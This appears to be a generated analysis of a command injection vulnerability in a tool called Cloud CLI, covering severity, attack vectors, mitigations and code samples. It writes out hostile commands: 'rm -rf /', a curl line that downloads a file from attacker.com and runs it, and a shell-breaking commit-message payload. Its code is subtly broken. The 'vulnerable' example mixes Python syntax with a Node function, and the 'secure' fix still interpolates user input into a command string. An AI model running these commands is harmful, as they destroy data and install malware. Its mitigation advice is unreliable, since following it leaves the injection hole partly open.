CVE-2026-31862

Comprehensive Technical Analysis of CVE-2026-31862

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2026-31862 CVSS Score: 9.1

The vulnerability in Cloud CLI (aka Claude Code UI) allows authenticated attackers to execute arbitrary OS commands due to the improper use of execAsync() with string interpolation of user-controlled parameters. This vulnerability is classified as a command injection flaw, which is highly severe due to its potential for complete system compromise.

Severity Evaluation:

• CVSS Base Score: 9.1 (Critical)
• Impact: High
• Exploitability: High

The high CVSS score indicates that this vulnerability poses a significant risk to systems where Cloud CLI is deployed. The ability to execute arbitrary OS commands can lead to unauthorized access, data breaches, and system takeovers.

2. Potential Attack Vectors and Exploitation Methods

Attack Vectors:

• Authenticated Users: The vulnerability requires the attacker to be authenticated, which means they need valid credentials to access the system.
• Git-related API Endpoints: The attacker can exploit the vulnerability by sending crafted requests to Git-related API endpoints that use execAsync() with user-controlled parameters.

Exploitation Methods:

• Command Injection: By injecting malicious commands into the parameters (file, branch, message, commit), the attacker can execute arbitrary OS commands.
• Payload Crafting: The attacker can craft payloads that exploit the string interpolation flaw to execute commands such as rm -rf / (to delete files) or curl http://attacker.com/malware -o /tmp/malware && chmod +x /tmp/malware && /tmp/malware (to download and execute malware).

3. Affected Systems and Software Versions

Affected Software:

• Cloud CLI (aka Claude Code UI)
• Versions prior to 1.24.0

Affected Systems:

• Desktop and mobile devices running the vulnerable versions of Cloud CLI.
• Systems where Cloud CLI is integrated with other applications or services.

4. Recommended Mitigation Strategies

Immediate Actions:

• Update to Version 1.24.0: Upgrade Cloud CLI to version 1.24.0 or later, which includes the fix for this vulnerability.
• Access Control: Ensure that only trusted users have access to the affected API endpoints.
• Input Validation: Implement strict input validation and sanitization for all user-controlled parameters.

Long-term Strategies:

• Code Review: Conduct thorough code reviews to identify and mitigate similar vulnerabilities.
• Security Training: Educate developers on secure coding practices to avoid command injection flaws.
• Regular Updates: Keep all software and dependencies up to date with the latest security patches.

5. Impact on Cybersecurity Landscape

The discovery and exploitation of CVE-2026-31862 highlight the ongoing challenge of securing software against command injection vulnerabilities. This type of flaw can have severe consequences, including data breaches, system compromises, and loss of trust in the affected software. It underscores the importance of robust input validation, secure coding practices, and regular security audits.

6. Technical Details for Security Professionals

Vulnerability Details:

• Function Affected: execAsync()
• Parameters Involved: file, branch, message, commit
• Root Cause: String interpolation of user-controlled parameters without proper sanitization.

Exploitation Example:

# Vulnerable code snippet
command = f"git commit -m '{message}'"
execAsync(command)

# Exploitation payload
message = "'; rm -rf /; '"

Mitigation Code Example:

# Secure code snippet
import shlex
import subprocess

def secure_exec(command):
    args = shlex.split(command)
    subprocess.run(args, check=True)

message = "Safe commit message"
command = f"git commit -m '{message}'"
secure_exec(command)

References:

• Cloud CLI Release v1.24.0
• GitHub Security Advisory

By addressing this vulnerability promptly and implementing robust security measures, organizations can significantly reduce the risk of exploitation and protect their systems from potential attacks.